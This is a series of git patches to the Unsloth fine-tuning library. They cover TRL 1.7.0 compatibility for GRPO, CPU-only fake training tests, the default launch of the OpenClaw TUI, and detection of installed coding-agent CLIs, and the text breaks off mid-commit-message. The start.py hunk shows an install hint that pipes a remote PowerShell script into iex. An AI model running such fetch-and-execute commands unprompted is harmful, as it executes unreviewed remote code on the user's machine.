+                RLTrainer_source = RLTrainer_source.replace(
+                    "self.aux_loss_enabled = is_moe and args.router_aux_loss_coef != 0.0",
+                    "self.aux_loss_enabled = is_moe and args.router_aux_loss_coef != 0.0\n"
+                    '        if self.aux_loss_enabled: raise NotImplementedError("Unsloth GRPO does not compute the MoE router auxiliary loss; set router_aux_loss_coef = 0 (the Unsloth default).")',
+                )
+
+        elif trl_version >= Version("0.27.0"):
             peft_pattern = (
                 r"\s*if is_peft_available\(\) and is_peft_model\(model\) and args\.beta != 0\.0:"
                 r".*?"
@@ -1689,6 +1718,11 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
         'if getattr(model, "is_loaded_in_4bit", False) or getattr(model, "is_loaded_in_8bit", False):',
         "if False:",
     )
+    # TRL >= 1.7.0 spells the same QLoRA bf16 cast as `if _is_quantized_model:`.
+    RLTrainer_source = RLTrainer_source.replace(
+        "if _is_quantized_model:",
+        "if False:",
+    )
 
     if RLTrainer_name == "SFTTrainer":
         original_text = (
diff --git a/unsloth/models/rl_replacements.py b/unsloth/models/rl_replacements.py
index 098950de08..ffb845b04f 100644
--- a/unsloth/models/rl_replacements.py
+++ b/unsloth/models/rl_replacements.py
@@ -1203,6 +1203,8 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                 if os.environ.get("UNSLOTH_FORCE_FLOAT32", "0") == "1":
                     self._autocast_dtype = torch.float16
 
+            compute_aux_loss = kwargs.get("compute_aux_loss", None)
+
             pixel_values, image_grid_thw = (
                 kwargs.get("pixel_values", None),
                 kwargs.get("image_grid_thw", None),
@@ -1846,7 +1848,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                         _extra_vision_kwargs["mm_token_type_ids"] = mm_token_type_ids_chunk
                     with torch.amp.autocast(device_type = "cuda", dtype = self._autocast_dtype):
                         if pixel_values is None:
-                            logits_chunk = unwrapped_model(
+                            outputs = unwrapped_model(
                                 input_ids = input_ids_chunk,
                                 attention_mask = attention_mask_chunk,
                                 pixel_values = pixel_values_chunk,
@@ -1854,7 +1856,10 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                                 pixel_attention_mask = pixel_attention_mask_chunk,
                                 image_sizes = image_sizes_chunk,
                                 **_extra_vision_kwargs,
-                            ).logits
+                            )
+
+                            logits_chunk = outputs.logits
+                            del outputs  # free hidden_states before chunked log-softmax
 
                             completion_input_ids_chunk = input_ids_chunk[
                                 :, -(logits_to_keep + max_left_pad) :
@@ -1876,7 +1881,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                         else:
                             # Essentially, for VLMs we do not go via the optimized path in models/,
                             # so we don't encounter the Flash Attn left-padding issue.
-                            logits_chunk = unwrapped_model(
+                            outputs = unwrapped_model(
                                 input_ids = input_ids_chunk,
                                 attention_mask = attention_mask_chunk,
                                 pixel_values = pixel_values_chunk,
@@ -1885,7 +1890,10 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                                 image_sizes = image_sizes_chunk,
                                 logits_to_keep = logits_to_keep + 1,
                                 **_extra_vision_kwargs,
-                            ).logits
+                            )
+
+                            logits_chunk = outputs.logits
+                            del outputs  # free hidden_states before chunked log-softmax
 
                             logits_chunk = logits_chunk[:, :-1, :]
                             completion_input_ids_chunk = input_ids_chunk[:, -logits_to_keep:]
@@ -1914,11 +1922,15 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                     all_logprobs_list.append(logprobs_chunk)
                 if logprobs is None:  # padded fallback when packing was not used
                     logprobs = torch.cat(all_logprobs_list, dim = 0)
+
                 entropies = None
 
             os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "0"
-
-            return logprobs.detach(), entropies  # logps, entropies
+            # aux loss is unused: it is off by default (router_aux_loss_coef set to 0 in models/rl.py)
+            # and explicit opt-in is rejected at trainer init, so this is always None (kept in the
+            # return for TRL >= 1.7.0's 3-tuple contract).
+            aux_loss = None
+            return logprobs.detach(), entropies, aux_loss  # logps, entropies, aux_loss
             # input_ids = input_ids[:, -logits_to_keep:]
             # For transformers<=4.48, logits_to_keep argument isn't supported, so here we drop logits ourselves.
             # See https://github.com/huggingface/trl/issues/2770
@@ -1937,6 +1949,24 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
             # return  logps #  compute logprobs for the input tokens
 
     function = inspect.getsource(_get_per_token_logps_and_entropies)
+    if trl_version < Version("1.7.0"):
+        # TRL < 1.7.0 unpacks (logps, entropies) at every call site; TRL >= 1.7.0
+        # always unpacks (logps, entropies, aux_loss). Drop the aux_loss element so
+        # the return arity matches the installed TRL. Regex tolerates comment /
+        # whitespace drift on the return line; fail loud if the anchor ever stops
+        # matching rather than silently shipping a 3-tuple to older TRL.
+        new_function, n = re.subn(
+            r"return (logprobs\.detach\(\), entropies), aux_loss[^\n]*",
+            r"return \1  # logps, entropies",
+            function,
+        )
+        if n != 1:
+            raise RuntimeError(
+                "Unsloth GRPO: could not downgrade the per-token-logps return to a "
+                f"2-tuple for TRL {trl_version} (matched {n} times, expected 1). The "
+                "return line changed; update the arity gate in rl_replacements.py."
+            )
+        function = new_function
     return function
 
 

From 0e1ed88bb8161d0cb048d46d2b71e50d925eeb46 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 8 Jul 2026 04:06:28 -0700
Subject: [PATCH 258/306] version-compat CI: fake CPU training runs for
 SFT/GRPO/DPO (#6965)

* version-compat CI: fake CPU training runs for SFT/GRPO/DPO

Adds a runtime layer on top of the patch-run canary: actually runs
trainer.train() for a couple of steps on a CPU-only runner under the CUDA
spoof, wrapping a plain tiny HF model in the Unsloth-patched trainer. Exercises
the real train() loop (collation, generation, the injected
_get_per_token_logps_and_entropies, loss, backward, optimizer) so a TRL or
transformers change that breaks the loop at runtime -- not just the source
structure -- surfaces here. No GPU, no meaningful numerics.

Needs a chain of small CPU shims (eager torch.compile, dynamo suppress, cuda
tensor-alloc redirect to CPU, model.for_training/for_inference equivalents)
documented inline. Does not exercise Unsloth's Triton/GPU kernels (CPU can't).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* cpu fake-train: force adamw_torch + disable dynamo for CPU runner

On a real CPU-build torch runner (GitHub CI) two things bit that a CUDA-build
torch with GPUs hidden masked locally:

- The default optimizer is adamw_8bit (bitsandbytes), whose is_on_gpu() check
  dies on CPU tensors. Force optim=adamw_torch in all three configs.
- import unsloth reinstalls the real torch.compile over the eager passthrough,
  so the GRPO hot path (chunked_selective_log_softmax) actually compiles and
  inductor picks the spoofed CUDA device, crashing on device props
  (gcnArchName). Re-apply the eager passthrough after import and flip
  torch._dynamo.config.disable so every @torch.compile runs eager at call time.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* cpu fake-train: write checkpoints under pytest tmp_path

Use pytest's tmp_path for each trainer's output_dir instead of a hardcoded
relative temp/ci_* path, so a local pytest run does not leave untracked dirs in
the repo tree and the tests are CWD-independent.

* version-compat CI: disable dynamo at process level for the fake-run job

Set TORCHDYNAMO_DISABLE / TORCH_COMPILE_DISABLE in the fake-run step env so
dynamo/inductor is off before conftest.py's early import unsloth, not only via
the per-test runtime shim. Defense in depth on the GPU-less runner: the GRPO
hot path never compiles regardless of when its functions were decorated.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .github/workflows/version-compat-ci.yml       |   9 +
 .../version_compat/test_trl_fake_train_cpu.py | 285 ++++++++++++++++++
 2 files changed, 294 insertions(+)
 create mode 100644 tests/version_compat/test_trl_fake_train_cpu.py

diff --git a/.github/workflows/version-compat-ci.yml b/.github/workflows/version-compat-ci.yml
index b15d5bfa25..6becccc90a 100644
--- a/.github/workflows/version-compat-ci.yml
+++ b/.github/workflows/version-compat-ci.yml
@@ -339,12 +339,18 @@ jobs:
         env:
           UNSLOTH_IS_PRESENT: '1'
           UNSLOTH_COMPILE_DISABLE: '1'
+          # Disable dynamo/inductor at the process level, before conftest.py's early
+          # `import unsloth`, so the GRPO hot path never compiles on the GPU-less runner
+          # (defense in depth; the CPU fake-train also flips this at runtime).
+          TORCHDYNAMO_DISABLE: '1'
+          TORCH_COMPILE_DISABLE: '1'
           PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python
         run: |
           cd unsloth
           python -c "import trl; print('Resolved TRL', trl.__version__)"
           PYTHONPATH=. python -m pytest \
             tests/version_compat/test_trl_grpo_fake_run.py \
+            tests/version_compat/test_trl_fake_train_cpu.py \
             -v --tb=short
       # `main` is scheduled/dispatch-only so PR jobs stay fast and a bleeding-edge
       # TRL break does not red every PR. github.event_name is valid in a step if.
@@ -353,6 +359,8 @@ jobs:
         env:
           UNSLOTH_IS_PRESENT: '1'
           UNSLOTH_COMPILE_DISABLE: '1'
+          TORCHDYNAMO_DISABLE: '1'
+          TORCH_COMPILE_DISABLE: '1'
           PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python
         run: |
           pip install --upgrade "git+https://github.com/huggingface/trl"
@@ -360,6 +368,7 @@ jobs:
           python -c "import trl; print('Resolved TRL', trl.__version__)"
           PYTHONPATH=. python -m pytest \
             tests/version_compat/test_trl_grpo_fake_run.py \
+            tests/version_compat/test_trl_fake_train_cpu.py \
             -v --tb=short
 
   # Daily-only: same suites but with --strict on importable upstream
diff --git a/tests/version_compat/test_trl_fake_train_cpu.py b/tests/version_compat/test_trl_fake_train_cpu.py
new file mode 100644
index 0000000000..4dae696282
--- /dev/null
+++ b/tests/version_compat/test_trl_fake_train_cpu.py
@@ -0,0 +1,285 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team.
+"""Fake CPU training runs for the Unsloth-patched SFT / GRPO / DPO trainers.
+
+The patch-run canary (test_trl_grpo_fake_run.py) only compiles + inspects the
+generated trainer source. This goes one layer deeper: it actually runs
+`trainer.train()` for a couple of steps on a CPU-only runner, under the CUDA
+spoof, wrapping a plain (tiny, random-weight) HF model in the Unsloth-patched
+trainer. That exercises the real train() loop at runtime -- data collation,
+generation (GRPO), the injected `_get_per_token_logps_and_entropies`, loss,
+backward, optimizer -- so a TRL or transformers change that breaks the loop
+(not just the source structure) surfaces here. No GPU, no meaningful numerics.
+
+What it does NOT cover: Unsloth's Triton/GPU-optimized model kernels (the
+FastLanguageModel fast path) cannot run on CPU, so this validates the
+trainer-transform + orchestration layer with a standard forward, not the
+optimized kernels.
+"""
+
+from __future__ import annotations
+
+import os
+
+# CPU-only: no torch.compile / dynamo (it reaches into the CUDA accelerator), no
+# Unsloth kernel compile, no mixed precision. Must be set before torch/unsloth.
+os.environ.setdefault("UNSLOTH_COMPILE_DISABLE", "1")
+os.environ.setdefault("TORCHDYNAMO_DISABLE", "1")
+os.environ.setdefault("TORCH_COMPILE_DISABLE", "1")
+os.environ.setdefault("ACCELERATE_MIXED_PRECISION", "no")
+
+import importlib
+import importlib.util
+import sys
+from pathlib import Path
+
+import pytest
+
+
+# torch is needed for everything below (daily-fresh-fetch collects this dir with
+# only pytest installed); skip the whole module cleanly when it is absent.
+if importlib.util.find_spec("torch") is None:
+    pytest.skip(
+        "torch not installed; fake CPU train needs the real runtime", allow_module_level = True
+    )
+
+# Apply the CUDA spoof before any unsloth-touching import.
+_SPOOF_DIR = Path(__file__).resolve().parents[1]
+sys.path.insert(0, str(_SPOOF_DIR))
+import _zoo_aggressive_cuda_spoof as _spoof  # noqa: E402
+
+_spoof.apply()
+
+import torch  # noqa: E402
+
+
+# The generated GRPO trainer hard-decorates hot functions with @torch.compile,
+# which dynamo processes even under the disable env vars, reaching into
+# torch.accelerator (real CUDA) on a GPU-less box. Make torch.compile an eager
+# passthrough before unsloth generates/imports the trainer -- same logic, no
+# dynamo. (An eager CPU run is exactly what we want here.)
+def _eager_compile(
+    model = None,
+    *args,
+    **kwargs,
+):
+    if callable(model):
+        return model
+    return lambda fn: fn
+
+
+torch.compile = _eager_compile
+
+# Belt-and-suspenders: if any @torch.compile still routes through dynamo, let it
+# fall back to eager instead of crashing, and stop its stream-capture probe from
+# reaching torch.accelerator -> real CUDA on a GPU-less box.
+try:
+    import torch._dynamo  # noqa: E402
+    torch._dynamo.config.suppress_errors = True
+except Exception:
+    pass
+if hasattr(torch, "accelerator"):
+    torch.accelerator.is_available = lambda *a, **k: False
+
+
+# Redirect any `device="cuda"` tensor allocation / `.to("cuda")` / `.cuda()` to
+# CPU. The aggressive spoof deliberately keeps real allocators, but a fake CPU
+# train needs cuda-targeted ops (e.g. inductor's init_gpu_context does
+# `torch.empty(1, device="cuda")`) to land on CPU instead of erroring.
+def _is_cuda_dev(d):
+    try:
+        return d is not None and torch.device(d).type == "cuda"
+    except Exception:
+        return False
+
+
+for _name in (
+    "empty",
+    "zeros",
+    "ones",
+    "full",
+    "tensor",
+    "arange",
+    "randn",
+    "rand",
+    "randint",
+    "empty_like",
+    "zeros_like",
+    "ones_like",
+):
+    _orig = getattr(torch, _name, None)
+    if _orig is None:
+        continue
+
+    def _redir(
+        *args,
+        _orig = _orig,
+        **kwargs,
+    ):
+        if _is_cuda_dev(kwargs.get("device")):
+            kwargs["device"] = "cpu"
+        return _orig(*args, **kwargs)
+
+    setattr(torch, _name, _redir)
+
+_orig_to = torch.Tensor.to
+
+
+def _to_cpu(self, *args, **kwargs):
+    args = tuple("cpu" if _is_cuda_dev(a) else a for a in args)
+    if _is_cuda_dev(kwargs.get("device")):
+        kwargs["device"] = "cpu"
+    return _orig_to(self, *args, **kwargs)
+
+
+torch.Tensor.to = _to_cpu
+torch.Tensor.cuda = lambda self, *a, **k: self
+
+# Extra CUDA stubs the aggressive spoof lacks, needed to walk a real train():
+# Adam's _cuda_graph_capture_health_check() probes stream capture.
+torch.cuda.is_current_stream_capturing = lambda *a, **k: False
+try:
+    import torch.cuda.graphs as _cg  # noqa: E402
+    _cg._cuda_isCurrentStreamCapturing = lambda *a, **k: False
+except Exception:
+    pass
+
+# A broken libmlx.so in the shared site-packages crashes transformers' Mac-only
+# is_mlx_array probe on Linux; disable it.
+try:
+    import transformers.utils.generic as _g  # noqa: E402
+    _g._is_mlx_available = False
+except Exception:
+    pass
+
+
+# Dense (non-MoE) tiny model on purpose: MoE models route through Unsloth's
+# grouped_gemm Triton kernel, which is CUDA-only and cannot run on a CPU runner.
+_MODEL = "hf-internal-testing/tiny-random-LlamaForCausalLM"
+
+
+def _load_plain():
+    """Tiny plain HF model + tokenizer on CPU. Skips (not fails) if the model
+    cannot be fetched -- that is a network/hub issue, not an unsloth regression."""
+    from transformers import AutoModelForCausalLM, AutoTokenizer
+
+    try:
+        tok = AutoTokenizer.from_pretrained(_MODEL)
+        model = AutoModelForCausalLM.from_pretrained(_MODEL, dtype = torch.float32)
+    except OSError as e:  # hub unreachable / model missing
+        pytest.skip(f"could not fetch {_MODEL} (network/hub): {str(e)[:150]}")
+    if tok.pad_token is None:
+        tok.pad_token = tok.eos_token
+    # Unsloth's GRPO path calls model.for_training()/for_inference() (added by
+    # FastLanguageModel). A plain HF model lacks them; supply minimal train/eval
+    # equivalents so the loop proceeds without the optimized wrapper.
+    if not hasattr(model, "for_training"):
+        model.for_training = lambda *a, **k: model.train()
+    if not hasattr(model, "for_inference"):
+        model.for_inference = lambda *a, **k: model.eval()
+    return model.to("cpu"), tok
+
+
+@pytest.fixture(autouse = True)
+def _require_stack():
+    global torch  # the `import torch._dynamo` below would otherwise shadow it as local
+    if importlib.util.find_spec("unsloth") is None or importlib.util.find_spec("trl") is None:
+        pytest.skip("unsloth or trl not installed")
+    # A real import failure is a regression we want to surface, so do not guard it.
+    import unsloth  # noqa: F401  -- patches TRL trainers to the Unsloth variants
+
+    # `import unsloth` reinstalls the real torch.compile (overwriting the eager
+    # passthrough set at module load), so the GRPO hot path (chunked_selective_
+    # log_softmax) would really compile -- and inductor picks the spoofed CUDA
+    # device, crashing on device props (`gcnArchName`). Re-apply the eager
+    # passthrough and flip dynamo's call-time kill switch so every @torch.compile
+    # runs eager regardless of when it was decorated. CPU eager is what we want.
+    torch.compile = _eager_compile
+    try:
+        import torch._dynamo  # noqa: E402
+        torch._dynamo.config.disable = True
+    except Exception:
+        pass
+
+
+def test_sft_trains_on_cpu(tmp_path):
+    from datasets import Dataset
+    from trl import SFTConfig, SFTTrainer
+
+    assert SFTTrainer.__name__ == "UnslothSFTTrainer", "SFT patch did not apply"
+    model, tok = _load_plain()
+    ds = Dataset.from_list([{"text": "The quick brown fox jumps over the lazy dog."}] * 8)
+    cfg = SFTConfig(
+        output_dir = str(tmp_path / "ci_sft"),
+        per_device_train_batch_size = 2,
+        max_steps = 2,
+        logging_steps = 1,
+        report_to = "none",
+        save_strategy = "no",
+        use_cpu = True,
+        max_length = None,
+        padding_free = False,
+        dataset_text_field = "text",
+        fp16 = False,
+        bf16 = False,
+        optim = "adamw_torch",
+    )
+    SFTTrainer(model = model, processing_class = tok, args = cfg, train_dataset = ds).train()
+
+
+def test_grpo_trains_on_cpu(tmp_path):
+    from datasets import Dataset
+    from trl import GRPOConfig, GRPOTrainer
+
+    assert GRPOTrainer.__name__ == "UnslothGRPOTrainer", "GRPO patch did not apply"
+    model, tok = _load_plain()
+    ds = Dataset.from_list([{"prompt": "hi there"}] * 4)
+    cfg = GRPOConfig(
+        output_dir = str(tmp_path / "ci_grpo"),
+        per_device_train_batch_size = 2,
+        num_generations = 2,
+        max_steps = 2,
+        max_completion_length = 8,
+        logging_steps = 1,
+        report_to = "none",
+        temperature = 1.0,
+        beta = 0.0,
+        save_strategy = "no",
+        use_cpu = True,
+        use_vllm = False,
+        fp16 = False,
+        bf16 = False,
+        optim = "adamw_torch",
+    )
+    GRPOTrainer(
+        model = model,
+        processing_class = tok,
+        reward_funcs = [lambda completions, **k: [float(len(c)) for c in completions]],
+        args = cfg,
+        train_dataset = ds,
+    ).train()
+
+
+def test_dpo_trains_on_cpu(tmp_path):
+    from datasets import Dataset
+    from trl import DPOConfig, DPOTrainer
+
+    assert DPOTrainer.__name__ == "UnslothDPOTrainer", "DPO patch did not apply"
+    model, tok = _load_plain()
+    ds = Dataset.from_list(
+        [{"prompt": "Hi", "chosen": " hello friend", "rejected": " go away"}] * 8
+    )
+    cfg = DPOConfig(
+        output_dir = str(tmp_path / "ci_dpo"),
+        per_device_train_batch_size = 2,
+        max_steps = 2,
+        logging_steps = 1,
+        report_to = "none",
+        save_strategy = "no",
+        use_cpu = True,
+        beta = 0.1,
+        fp16 = False,
+        bf16 = False,
+        optim = "adamw_torch",
+    )
+    DPOTrainer(model = model, processing_class = tok, args = cfg, train_dataset = ds).train()

From 6ef09361800a6268ac6ae2f89e37c771e5e516f1 Mon Sep 17 00:00:00 2001
From: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Date: Wed, 8 Jul 2026 12:25:42 +0100
Subject: [PATCH 259/306] Fix OpenClaw start default to local TUI (#6937)

* fix: launch OpenClaw local TUI by default

* Fix/adjust OpenClaw launch paths for PR #6937

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Default OpenClaw to the local TUI only on a bare invocation

The first-arg startswith('-') branch rewrote passthrough globals into a broken
command: OpenClaw's grammar is openclaw [--dev] [--profile <name>] <command>, so
'unsloth start openclaw --profile test' became 'openclaw tui --local --profile
test', but tui does not accept --profile (or --dev), so the invocation failed.

A leading '--flag value' is ambiguous between a global (--profile test) and a tui
option (--message hi), so it cannot be reinterpreted safely. Default to the local
TUI only when no passthrough args are given, and forward everything else verbatim
so OpenClaw parses it under its own grammar. The bare-launch default (the point
of this change) is preserved; explicit subcommands and global flags pass through.

---------

Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
---
 .github/scripts/agent-guides-drive.sh |  4 ++--
 unsloth_cli/commands/start.py         | 12 +++++++++++-
 unsloth_cli/tests/test_start.py       | 24 ++++++++++++++++++++++++
 3 files changed, 37 insertions(+), 3 deletions(-)

diff --git a/.github/scripts/agent-guides-drive.sh b/.github/scripts/agent-guides-drive.sh
index d430d2c172..defdb498c7 100755
--- a/.github/scripts/agent-guides-drive.sh
+++ b/.github/scripts/agent-guides-drive.sh
@@ -376,7 +376,7 @@ case "$MODE" in
       hermes)   patch_hermes_tools none
                 invoke_via_connect "$OUT" -z "$PROMPT" ;;
       openclaw) patch_openclaw_agent notools
-                invoke_via_connect "$OUT" agent --local --agent ci \
+                CONNECT_CMD_OVERRIDE=openclaw invoke_via_connect "$OUT" agent --local --agent ci \
                   --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
       *)        invoke_via_connect "$OUT" "$PROMPT" ;;
     esac
@@ -449,7 +449,7 @@ case "$MODE" in
           fi ;;
         opencode) invoke_via_connect "$out" run "$prompt" ;;
         hermes)   invoke_via_connect "$out" -z "$prompt" ;;
-        openclaw) invoke_via_connect "$out" agent --local --agent ci \
+        openclaw) CONNECT_CMD_OVERRIDE=openclaw invoke_via_connect "$out" agent --local --agent ci \
                     --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$prompt" ;;
         *)        invoke_via_connect "$out" "$prompt" ;;
       esac
diff --git a/unsloth_cli/commands/start.py b/unsloth_cli/commands/start.py
index 477a47cc3d..764f5c7963 100644
--- a/unsloth_cli/commands/start.py
+++ b/unsloth_cli/commands/start.py
@@ -1568,7 +1568,17 @@ def openclaw(
         serve = serve,
         launch = launch,
     )
-    command = ["openclaw", *ctx.args]
+    openclaw_args = list(ctx.args)
+    # Default a bare `unsloth start openclaw` to the local TUI. Anything the caller
+    # passes through is forwarded verbatim so OpenClaw parses it under its own grammar
+    # (openclaw [global-flags] <command> [options]): an explicit subcommand, a global
+    # flag that must precede the command such as --profile/--dev, or a tui option. We
+    # cannot reinterpret those safely because a leading "--flag value" is ambiguous
+    # between a global (`--profile test`) and a tui option (`--message hi`); prepending
+    # `tui --local` would break the global form, so only the empty case is defaulted.
+    if not openclaw_args:
+        openclaw_args = ["tui", "--local"]
+    command = ["openclaw", *openclaw_args]
     install_hint = (
         "iwr -useb https://openclaw.ai/install.ps1 | iex"
         if os.name == "nt"
diff --git a/unsloth_cli/tests/test_start.py b/unsloth_cli/tests/test_start.py
index ee5b442c27..18cb40f18d 100644
--- a/unsloth_cli/tests/test_start.py
+++ b/unsloth_cli/tests/test_start.py
@@ -1634,10 +1634,34 @@ def test_connect_openclaw_no_launch(fake_studio, tmp_path):
     config = json.loads(config_path.read_text())
     assert config["models"]["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface"
     assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
+    assert _launch_command(result.output) == ["openclaw", "tui", "--local"]
     # OpenAI /v1/chat/completions works on either backend — no GGUF gate.
     assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
 
 
+def test_connect_openclaw_no_launch_keeps_explicit_subcommand(fake_studio):
+    result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch", "crestodian"])
+    assert result.exit_code == 0, result.output
+    assert _launch_command(result.output) == ["openclaw", "crestodian"]
+
+
+def test_connect_openclaw_no_launch_passes_global_flags_through(fake_studio):
+    # OpenClaw globals (openclaw [--dev] [--profile <name>] <command>) precede the
+    # command, and tui does not accept them, so any passthrough args must be forwarded
+    # verbatim rather than rewritten into `openclaw tui --local <globals>`.
+    result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch", "--profile", "test"])
+    assert result.exit_code == 0, result.output
+    assert _launch_command(result.output) == ["openclaw", "--profile", "test"]
+
+
+def test_connect_openclaw_no_launch_keeps_explicit_tui(fake_studio):
+    result = CliRunner().invoke(
+        start.start_app, ["openclaw", "--no-launch", "tui", "--message", "hi"]
+    )
+    assert result.exit_code == 0, result.output
+    assert _launch_command(result.output) == ["openclaw", "tui", "--message", "hi"]
+
+
 # ── OpenCode (OpenAI /v1/chat/completions) ───────────────────────────
 
 

From e86b7874d433ea1c5a2a49063c07932c36aa63ce Mon Sep 17 00:00:00 2001
From: ErenAta16 <erena6466@gmail.com>
Date: Wed, 8 Jul 2026 15:26:50 +0300
Subject: [PATCH 260/306] feat: detect installed coding agent CLIs in Studio
 settings (#6909)

* feat: detect installed coding agent CLIs in Studio settings

The API-keys panel only ever showed the "claude" flavor of the
`unsloth start` command, so anyone using Codex, OpenCode, OpenClaw,
Hermes, or Pi had to manually rewrite the copied command by hand.

Add a backend check that looks for each agent's CLI binary on PATH
(shutil.which, mirroring the pattern already used elsewhere in
studio/backend/utils) and expose it as GET /api/settings/coding-agents.
The API-keys panel now renders a picker for all six supported agents,
marks the ones it finds installed, and defaults to one of those instead
of always falling back to claude.

Includes unit tests for the detection helper.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* address review feedback on coding-agent detection

Three fixes from PR review:

- detect_installed_coding_agents now treats a PATH lookup failure as
  "not installed" instead of letting it bubble up and break the
  settings endpoint; added a regression test for it.
- CodingAgentsResponse.agents is now typed as an immutable tuple
  instead of a list built from one, matching CODING_AGENTS itself.
- Fixed a race in the API-keys panel: picking an agent while the
  installed-CLI check is still in flight could get silently overwritten
  once that check resolved. A ref now tracks whether the user has made
  a manual choice, so the auto-detected default only applies before
  that happens.

* Address Codex feedback: GGUF gating and remote-detection scope

- codex refuses to launch against a non-GGUF (transformers-backed) model
  (unsloth_cli's _require_gguf_for_codex), so auto-defaulting to it produced
  a copy-pasteable command that fails immediately whenever the loaded model
  isn't GGUF. Add useActiveModelIsGguf() (looks up the active checkpoint in
  the chat runtime store) and a correction effect that steers the auto-pick
  away from codex unless the loaded model qualifies, without ever touching a
  choice the user made by hand.
- Detection runs via shutil.which on the Studio backend host, which isn't
  the same machine as the browser in a tunnel/remote session. Reword the
  'installed'/'detected' copy to say so explicitly when the tunnel URL is
  in use, instead of implying the check ran on the viewer's own device.

* Rework auto-default per review: loopback gating + inline GGUF check

Replaces the previous approach with the exact shape discussed on the PR:

- Export isLoopbackHost/normalizeHost from agent-command.ts. The detection
  endpoint runs shutil.which on the Studio backend, which only describes the
  browser's own machine when the base this panel targets resolves to
  loopback. For a LAN or tunnel/remote base, gate the whole thing off --
  don't mark anything as "detected" and don't let it drive the default --
  instead of just relabeling the copy.
- Drop the separate GGUF-correction effect and useActiveModelIsGguf hook.
  Read useChatRuntimeStore.getState().activeGgufVariant inline inside the
  existing detection effect's .then() (so it doesn't need to sit in the
  effect's deps), and pick the first detected agent that isn't codex unless
  the loaded model is GGUF, leaving the existing default untouched when no
  compatible agent is detected.

Verified both branches (loopback vs LAN/tunnel base, gguf vs non-gguf,
manual pick preserved, no-compatible-agent fallback) with a standalone
port of the .then() logic.

* Address latest Codex findings: stale detection, model swap, cache

- Clear detectedAgents (and skip the network call entirely) when the panel
  leaves a loopback base, instead of leaving a previous loopback detection
  result marked 'installed' for a command that now targets a LAN/tunnel/
  remote host.
- Add a separate, network-free correction effect keyed on the live
  activeGgufVariant: if codex was auto-picked while a GGUF model was loaded
  and the user then switches to a transformers-backed model while this panel
  stays mounted, steer away from codex instead of leaving a command that
  unsloth_cli's _require_gguf_for_codex will now reject. Never touches a
  manual pick.
- Drop coding-agents.ts's module-lifetime cache. Installed-CLI detection is
  environment state, not a persisted setting, so a stale positive/negative
  from before the user installed something (or reopened the tab) is worse
  than one extra cheap local API call per mount; keep only the in-flight
  de-dupe for concurrent callers.

Verified the correction-effect logic (gguf->non-gguf swap with/without a
fallback, still-gguf no-op, manual pick never overridden) with a standalone
port of the effect.

* Make the codex/GGUF auto-pick symmetric in both directions

The correction effect only steered away from codex when the model stopped
being GGUF; it never steered back toward codex if the model became GGUF
*after* a non-GGUF-gated fallback had already picked something else (e.g.
codex is the only detected CLI, a transformers model is loaded so the
selection correctly falls back to the claude default, then the user loads a
GGUF model while the panel stays mounted -- codex never gets reconsidered).

Consolidate into one effect that re-derives the preferred detected agent
from scratch whenever detectedAgents or activeGgufVariant changes, in either
direction, instead of only reacting to the codex-specific downgrade case.
The fetch effect now only populates detectedAgents/availableAgents; this
effect is the single source of truth for what gets auto-picked from that
list. Never overrides a manual choice.

Verified both transition directions plus the manual-pick-survives and
initial-detection cases with a standalone port of the derivation logic.

* Reset the auto-pick to the default when it stops being trustworthy

Two more real gaps from the latest Codex pass on d988f52:

- The unified derivation effect only handled the case where a *different*
  detected agent could take over. If codex was the only detected agent and
  auto-picked while a GGUF model was loaded, then the model stopped being
  GGUF, 'preferred' came back undefined and the effect silently left the
  selection on codex -- exactly the command unsloth_cli's
  _require_gguf_for_codex now rejects. Fall back to DEFAULT_AGENT in that
  case instead of leaving it untouched.
- Leaving a loopback base cleared detectedAgents (so the 'installed' badges
  correctly disappear) but left whatever agent had been auto-picked from
  that now-stale, server-side-only detection still selected. Reset to
  DEFAULT_AGENT there too, unless the user picked by hand.

Introduces a shared DEFAULT_AGENT constant instead of repeating the "claude"
literal at each reset site. Verified all five cases (both new resets, both
manual-pick-survives variants, and the existing multi-detected-agent
fallback still preferring another compatible agent over resetting) with a
standalone port of the effects.

* Derive GGUF-ness from the actual loaded state, not just the variant string

activeGgufVariant only covers an HF-repo GGUF pick (a specific quant
variant string). A direct local .gguf file -- custom folder, LM
Studio, or drag-drop -- is just as much a GGUF the codex preflight
(unsloth_cli's _require_gguf_for_codex) would accept, but it never has
a "variant" to report, so it read as non-GGUF here even though
/api/inference/status correctly reports is_gguf: true for it. That
mismatch could leave a Codex-only install not auto-selected, or reset
